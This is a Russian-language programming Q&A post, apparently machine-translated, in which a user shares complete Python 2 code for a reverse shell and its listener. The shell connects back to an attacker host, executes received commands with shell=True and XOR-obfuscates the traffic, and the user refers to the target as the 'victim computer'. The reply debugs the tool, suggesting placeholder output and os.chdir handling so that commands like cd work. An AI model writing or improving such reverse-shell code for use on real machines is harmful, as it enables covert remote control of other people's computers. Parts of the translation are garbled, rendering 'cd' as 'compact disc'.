обратная оболочка с помощью Python

Question

У меня есть следующий слушатель и обратные оболочки в Python:

Слушатель:

import socket 

s= socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.bind(("0.0.0.0", 443)) 
s.listen(2) 
print "Listening on port 443... " 
(client, (ip, port)) = s.accept() 
print " Received connection from : ", ip 

while True: 
command = raw_input('~$ ') 
encode = bytearray(command) 
for i in range(len(encode)): 
    encode[i] ^=0x41 
client.send(encode) 
en_data=client.recv(2048) 
decode = bytearray(en_data) 
for i in range(len(decode)): 
    decode[i] ^=0x41 
print decode 

client.close() 
s.close() 

обратной оболочка:

import socket, subprocess, sys 

RHOST = '127.0.0.1' #sys.argv[1] 
RPORT = 443 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect((RHOST, RPORT)) 

while True: 
    #receive encoded data 
    en_comm = s.recv(1024) 
    #decoded the received command 
    de_comm = bytearray(en_comm) 
    for i in range(len(de_comm)): 
     de_comm[i] ^= 0x41 

    #execute the clear text comamnd after decode it 
    clrtxt_comm = subprocess.Popen(str(de_comm), shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 
    output, STDERR = clrtxt_comm.communicate() 

    #encode the command output and send it over ssl 
    en_output = bytearray(output) 
    for i in range(len(en_output)): 
     en_output[i] ^= 0x41 
    s.send(en_output) 

s.close() 

После запуска слушателя и вызвать обратный shell, он работает нормально и открывает оболочку на компьютере-жертве, но самое главное, что при отправке команд типа «cd ..» или «mkdir foldername» (в случае Windows) он застревает в одном и том же входе и не идет дальше э.

Вы видите/понимаете, в чем проблема в коде?

Большое спасибо!

Answer 1

Я предполагаю, что у вас есть несколько проблем.

первую очередь

вам нужно добавить что-то вроде этого для команд, которые возвращают не выход, как компакт-диск:

if not en_output: 
    en_output = bytearray("no output") 
for i in range(len(en_output)): 
    en_output[i] ^= 0x41 

s.send(en_output) 

во-вторых, при открытии процесса для выполнения компакт-диск не изменить путь сценария обратной оболочки. для этого вам придется вводить новый путь в os.chdir() или делать что-то эквивалентное (лучше всего, просто подключите его к команде с выходом вроде ls).

В-третьих, обратная оболочка может быть изолирована песочницей и поэтому не может выполнить некоторые из приведенных выше команд.